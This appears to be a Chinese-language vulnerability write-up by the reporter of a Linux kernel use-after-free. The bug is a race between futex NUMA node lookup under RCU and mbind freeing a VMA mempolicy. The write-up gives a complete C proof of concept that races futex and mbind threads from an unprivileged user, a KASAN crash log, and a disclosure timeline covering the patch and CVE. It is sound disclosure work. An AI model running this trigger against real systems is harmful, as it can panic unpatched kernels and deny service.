找到 VMA 之後，用 vma_policy() 取出這段記憶體的 memory policy，memory policy 是 NUMA 系統上用來控制記憶體分配策略的機制，可以透過 mbind() 系統呼叫設定，指定這段記憶體應該優先從哪個節點分配，或是輪流在各節點間分配等

這段程式碼是函式的前半部，拿到 mpol 之後後面還會解析這個 policy 的類型，從裡面算出具體的節點編號。不同的 policy 類型（BIND、PREFERRED、INTERLEAVE 等）算出節點的方式都不同，需要進一步判斷

1
2
3
4
5
6
7
8
9
10
static int __futex_key_to_node(struct mm_struct *mm, unsigned long addr)
{
	struct vm_area_struct *vma = vma_lookup(mm, addr);
	struct mempolicy *mpol;
	int node = FUTEX_NO_NODE;

	if (!vma)
		return FUTEX_NO_NODE;

	mpol = vma_policy(vma);

上述說的不去持 mmap lock 的優化是在以下被引入的 (該 patch 不是在做這部分優化，但是在使用時候卻發生了問題)
https://www.phoronix.com/news/FUTEX2-NUMA-Linux-6.16
https://patchew.org/linux/174670042876.406.4365999547221575535.tip-bot2@tip-bot2/

核心內部使用一個全域雜湊表（global hash table）來追蹤所有等待中的 futex，稱為 futex_hash_bucket

在 NUMA 系統上，記憶體分散在多個節點，跨節點存取的延遲遠高於本地存取。原本 futex 的 bucket 是用位址做 jhash 算出來的，結果在哪個 NUMA 節點上純粹是隨機的，跟 futex 變數本身在哪個節點毫無關係

先前引入的 FUTEX2_NUMA 讓使用者可以明確指定要用哪個 NUMA 節點的 bucket，核心會在 get_futex_key() 裡把這個節點號碼存進 key->both.node，之後 __futex_hash() 根據節點選擇對應的全域節點 hash table

細節這邊不多說，不過其改去持 rcu 來確保 pointer 有效性這點，卻在 mempolicy 那邊沒有修正

這邊來看 vma_replace_policy

vma_replace_policy() 是修改 VMA mempolicy 的函式，開頭的 vma_assert_write_locked(vma) 斷言確認呼叫者一定持有 mmap 寫鎖

但發現問題了吧，走快速路徑並不會去上鎖，不過沒關係，畢竟有 RCU，只要在後續實作好仍不會有問題

https://elixir.bootlin.com/linux/v7.0-rc3/source/mm/mempolicy.c#L1003

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/*
 * Apply policy to a single VMA
 * This must be called with the mmap_lock held for writing.
 */
static int vma_replace_policy(struct vm_area_struct *vma,
				struct mempolicy *pol)
{
	int err;
	struct mempolicy *old;
	struct mempolicy *new;

	vma_assert_write_locked(vma);

	new = mpol_dup(pol);
	if (IS_ERR(new))
		return PTR_ERR(new);

	if (vma->vm_ops && vma->vm_ops->set_policy) {
		err = vma->vm_ops->set_policy(vma, new);
		if (err)
			goto err_out;
	}

	old = vma->vm_policy;
	vma->vm_policy = new; /* protected by mmap_lock */
	mpol_put(old);

	return 0;
 err_out:
	mpol_put(new);
	return err;
}

但在 free 之前卻沒有去等待 RCU read 完成，也就造成了 race condition 可以導致 UAF

https://elixir.bootlin.com/linux/v7.0-rc3/source/include/linux/mempolicy.h#L66
https://elixir.bootlin.com/linux/v7.0-rc3/source/mm/mempolicy.c#L486

1
2
3
4
5
6
7
8
/* Slow path of a mpol destructor. */
void __mpol_put(struct mempolicy *pol)
{
	if (!atomic_dec_and_test(&pol->refcnt))
		return;
	kmem_cache_free(policy_cache, pol);
}
EXPORT_SYMBOL_FOR_MODULES(__mpol_put, "kvm");

這個問題應該有機會導致查找到錯誤的 NUMA 的 hash table，但所有對他的操作都相當受限，我也不知道怎麼樣有機會提權XD

btw，對於這部分使用序列號的方法可以參考這張圖，我覺得蠻像的
除了可以讓 futex 可以並行外，還可以優化持 mmap_lock 所造成的 cacheline bouncing 的開銷

左邊改成 futex，右邊是 writer 來看
不過這邊是先判斷是否存在寫入，然後做並行查詢在哪個 numa node，再次檢查查詢的有沒有在過程中遭到變更 (writer 是否寫入也就是是否去持 mmap_lock)，若有則回退，若無則套用
image

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <signal.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sched.h>
#include <linux/futex.h>
#include <stdint.h>

#ifndef __NR_mbind
#define __NR_mbind 237
#endif
#ifndef __NR_futex_wait
#define __NR_futex_wait 455
#endif
#ifndef __NR_futex_wake
#define __NR_futex_wake 454
#endif

#ifndef FUTEX_NO_NODE
#define FUTEX_NO_NODE (-1)
#endif

#define F2_SIZE_U32  0x02
#define F2_NUMA      0x04
#define F2_MPOL      0x08
#define F2_PRIVATE   128  

#define MPOL_DEFAULT        0
#define MPOL_PREFERRED      1
#define MPOL_BIND           2

#define PAGE_SIZE 4096
#define DURATION_SECS 120
#define NUM_FUTEX_THREADS 8
#define NUM_MBIND_THREADS 4

struct futex_numa_32 {
    uint32_t val;
    uint32_t node;
} __attribute__((aligned(8)));

static volatile int stop_flag = 0;
static void *shared_region = NULL;
static size_t region_size = PAGE_SIZE * 4;

static void *thread_futex_hammer(void *arg)
{
    int id = (int)(long)arg;
    unsigned long count = 0;
    unsigned int flags = F2_SIZE_U32 | F2_NUMA | F2_MPOL | F2_PRIVATE;

    struct futex_numa_32 *my_futex = (struct futex_numa_32 *)
        ((char *)shared_region + (id % 4) * PAGE_SIZE);
    my_futex->val = 0;
    my_futex->node = (uint32_t)FUTEX_NO_NODE;  

    while (!stop_flag) {
        syscall(__NR_futex_wait, my_futex, (unsigned long)0xdeadbeef,
                (unsigned long)0xffffffff, flags, NULL, 0);

        syscall(__NR_futex_wake, my_futex, (unsigned long)0xffffffff, 
                0, flags);

        my_futex->node = (uint32_t)FUTEX_NO_NODE;

        count++;
        if (count == 0x1000000)
            printf("  [futex-%d] %lu iters\n", id, count);
    }

    return NULL;
}

static void *thread_mbind_hammer(void *arg)
{
    int id = (int)(long)arg;
    unsigned long count = 0;
    unsigned long nodemask = 1UL;
    int maxnode = sizeof(nodemask) * 8 + 1;

    while (!stop_flag) {
        // MPOL_BIND allocate mempolicy
        syscall(__NR_mbind, shared_region, region_size,
                MPOL_BIND, &nodemask, maxnode, 0);

        // MPOL_DEFAULT free mempolicy
        syscall(__NR_mbind, shared_region, region_size,
                MPOL_DEFAULT, NULL, 0, 0);

        count++;
    }

    printf("  [mbind-%d] done: %lu iters\n", id, count);
    return NULL;
}

int main(void)
{
    long ret;
    signal(SIGPIPE, SIG_IGN);

    shared_region = mmap(NULL, region_size, PROT_READ | PROT_WRITE,
                         MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (shared_region == MAP_FAILED) { perror("mmap"); return 1; }
    memset(shared_region, 0, region_size);

    pthread_t threads[NUM_FUTEX_THREADS + NUM_MBIND_THREADS];
    int t = 0;

    for (int i = 0; i < NUM_FUTEX_THREADS; i++)
        pthread_create(&threads[t++], NULL, thread_futex_hammer, (void *)(long)i);
    for (int i = 0; i < NUM_MBIND_THREADS; i++)
        pthread_create(&threads[t++], NULL, thread_mbind_hammer, (void *)(long)i);

    printf("[!] running !\n");
    sleep(DURATION_SECS);

    printf("[*] Stopping...\n");
    stop_flag = 1;
    for (int i = 0; i < t; i++)
        pthread_join(threads[i], NULL);

    printf("[x] Failed to trigger\n");
    munmap(shared_region, region_size);
    return 0;
}

就可以 race 到 KASAN 檢測 UAF 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
  492.047266] ==================================================================
[  492.053585] BUG: KASAN: slab-use-after-free in __futex_key_to_node+0x31/0xa0
[  492.054937] Read of size 2 at addr ffff88800287af34 by task e/92
[  492.055290] 
[  492.056070] CPU: 0 UID: 1000 PID: 92 Comm: e Not tainted 7.0.0-rc3-g80234b5ab240 #1 PREEMPT(lazy) 
[  492.056421] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[  492.056632] Call Trace:
[  492.056747]  <TASK>
[  492.056850]  dump_stack_lvl+0x55/0x70
[  492.056986]  print_report+0xcb/0x610
[  492.057042]  ? __virt_addr_valid+0xfb/0x1b0
[  492.057090]  ? __futex_key_to_node+0x31/0xa0
[  492.057131]  kasan_report+0xb8/0xf0
[  492.057186]  ? __futex_key_to_node+0x31/0xa0
[  492.057241]  __futex_key_to_node+0x31/0xa0
[  492.057285]  get_futex_key+0x16d/0x740
[  492.057332]  ? __pfx_get_futex_key+0x10/0x10
[  492.057376]  ? __pfx___schedule+0x10/0x10
[  492.057418]  futex_wake+0xcc/0x2e0
[  492.057467]  ? __pfx_futex_wake+0x10/0x10
[  492.057531]  __x64_sys_futex_wake+0xf6/0x120
[  492.057585]  do_syscall_64+0xfc/0x580
[  492.057627]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  492.057762] RIP: 0033:0x4547cd
[  492.057992] Code: 28 c3 e8 c6 21 00 00 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 488
[  492.058080] RSP: 002b:00007f88d76f7198 EFLAGS: 00000206 ORIG_RAX: 00000000000001c6
[  492.058203] RAX: ffffffffffffffda RBX: 00007f88d76f7640 RCX: 00000000004547cd
[  492.058259] RDX: 0000000000000000 RSI: 00000000ffffffff RDI: 00007f88daf02000
[  492.058302] RBP: 00007f88d76f71d0 R08: 0000000000000000 R09: 0000000000000000
[  492.058341] R10: 000000000000008e R11: 0000000000000206 R12: 00007f88d76f7640
[  492.058452] R13: 000000000000000b R14: 000000000041b680 R15: 00007f88d6ef7000
[  492.058536]  </TASK>
[  492.058611] 
[  492.076522] Allocated by task 93:
[  492.076807]  kasan_save_stack+0x24/0x50
[  492.077048]  kasan_save_track+0x14/0x30
[  492.077243]  __kasan_slab_alloc+0x59/0x70
[  492.077405]  kmem_cache_alloc_noprof+0x104/0x390
[  492.077648]  __mpol_dup+0x6c/0x1c0
[  492.077819]  mbind_range+0xe9/0x1b0
[  492.078022]  do_mbind+0x50d/0x7f0
[  492.078245]  kernel_mbind+0x111/0x120
[  492.078597]  do_syscall_64+0xfc/0x580
[  492.079035]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  492.081725] 
[  492.081889] Freed by task 96:
[  492.082192]  kasan_save_stack+0x24/0x50
[  492.082408]  kasan_save_track+0x14/0x30
[  492.082566]  kasan_save_free_info+0x3b/0x60
[  492.082778]  __kasan_slab_free+0x43/0x70
[  492.083028]  kmem_cache_free+0xb5/0x3c0
[  492.083237]  vma_complete+0x2fd/0x6a0
[  492.083442]  commit_merge+0x4c3/0x7b0
[  492.083617]  vma_modify+0x413/0xab0
[  492.083756]  vma_modify_policy+0x13f/0x190
[  492.084136]  mbind_range+0xc3/0x1b0
[  492.084379]  do_mbind+0x50d/0x7f0
[  492.084536]  kernel_mbind+0x111/0x120
[  492.084711]  do_syscall_64+0xfc/0x580
[  492.084882]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  492.085142] 
[  492.085365] The buggy address belongs to the object at ffff88800287af30
[  492.085365]  which belongs to the cache numa_policy of size 32
[  492.085914] The buggy address is located 4 bytes inside of
[  492.085914]  freed 32-byte region [ffff88800287af30, ffff88800287af50)
[  492.086378] 
[  492.086556] The buggy address belongs to the physical page:
[  492.087138] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x287a
[  492.087629] flags: 0x100000000000000(node=0|zone=1)
[  492.088214] page_type: f5(slab)
[  492.088622] raw: 0100000000000000 ffff8880010a9280 dead000000000100 dead000000000122
[  492.088846] raw: 0000000000000000 0000000000550055 00000000f5000000 0000000000000000
[  492.089077] page dumped because: kasan: bad access detected
[  492.089226] 
[  492.089366] Memory state around the buggy address:
[  492.089709]  ffff88800287ae00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  492.090007]  ffff88800287ae80: fc fc fc fc fa fb fb fb fc fc fa fb fb fb fc fc
[  492.090221] >ffff88800287af00: fa fb fb fb fc fc fa fb fb fb fc fc 00 00 00 00
[  492.090432]                                      ^
[  492.090612]  ffff88800287af80: fc fc fa fb fb fb fc fc fa fb fb fb fc fc fc fc
[  492.090848]  ffff88800287b000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  492.091635] ==================================================================
[  492.142881] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[  492.143736] CPU: 0 UID: 1000 PID: 92 Comm: e Not tainted 7.0.0-rc3-g80234b5ab240 #1 PREEMPT(lazy) 
[  492.144543] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[  492.144935] Call Trace:
[  492.145102]  <TASK>
[  492.145249]  vpanic+0x43f/0x5c0
[  492.145481]  ? __pfx_vpanic+0x10/0x10
[  492.145794]  ? __futex_key_to_node+0x31/0xa0
[  492.146046]  panic+0xbd/0xc0
[  492.146230]  ? __pfx_panic+0x10/0x10
[  492.146471]  ? __futex_key_to_node+0x31/0xa0
[  492.146693]  ? _raw_spin_unlock_irqrestore+0x11/0x40
[  492.146926]  ? _raw_spin_unlock_irqrestore+0x11/0x40
[  492.147142]  check_panic_on_warn+0x61/0x80
[  492.147533]  end_report+0xd8/0x100
[  492.147756]  kasan_report+0xc6/0xf0
[  492.147966]  ? __futex_key_to_node+0x31/0xa0
[  492.148179]  __futex_key_to_node+0x31/0xa0
[  492.148691]  get_futex_key+0x16d/0x740
[  492.149015]  ? __pfx_get_futex_key+0x10/0x10
[  492.149312]  ? __pfx___schedule+0x10/0x10
[  492.149537]  futex_wake+0xcc/0x2e0
[  492.149738]  ? __pfx_futex_wake+0x10/0x10
[  492.150025]  __x64_sys_futex_wake+0xf6/0x120
[  492.150258]  do_syscall_64+0xfc/0x580
[  492.150502]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  492.150745] RIP: 0033:0x4547cd
[  492.150986] Code: 28 c3 e8 c6 21 00 00 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 488
[  492.151695] RSP: 002b:00007f88d76f7198 EFLAGS: 00000206 ORIG_RAX: 00000000000001c6
[  492.152253] RAX: ffffffffffffffda RBX: 00007f88d76f7640 RCX: 00000000004547cd
[  492.152625] RDX: 0000000000000000 RSI: 00000000ffffffff RDI: 00007f88daf02000
[  492.152962] RBP: 00007f88d76f71d0 R08: 0000000000000000 R09: 0000000000000000
[  492.153484] R10: 000000000000008e R11: 0000000000000206 R12: 00007f88d76f7640
[  492.154107] R13: 000000000000000b R14: 000000000041b680 R15: 00007f88d6ef7000
[  492.155976]  </TASK>
[  492.157454] Kernel Offset: 0x2800000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000)

report timeline

3/13 號回報給 Linux 官方，並發了 patch
https://lore.kernel.org/stable/20260313124756.52461-1-naup96721@gmail.com/T/#u

3/26 號進到了 locking/urgent branch of tip
https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git/commit/?id=190a8c48ff623c3d67cb295b4536a660db2012aa

4/1 號進到 stable queue

4/3 號分配 CVE 編號
https://www.tenable.com/plugins/nessus/304783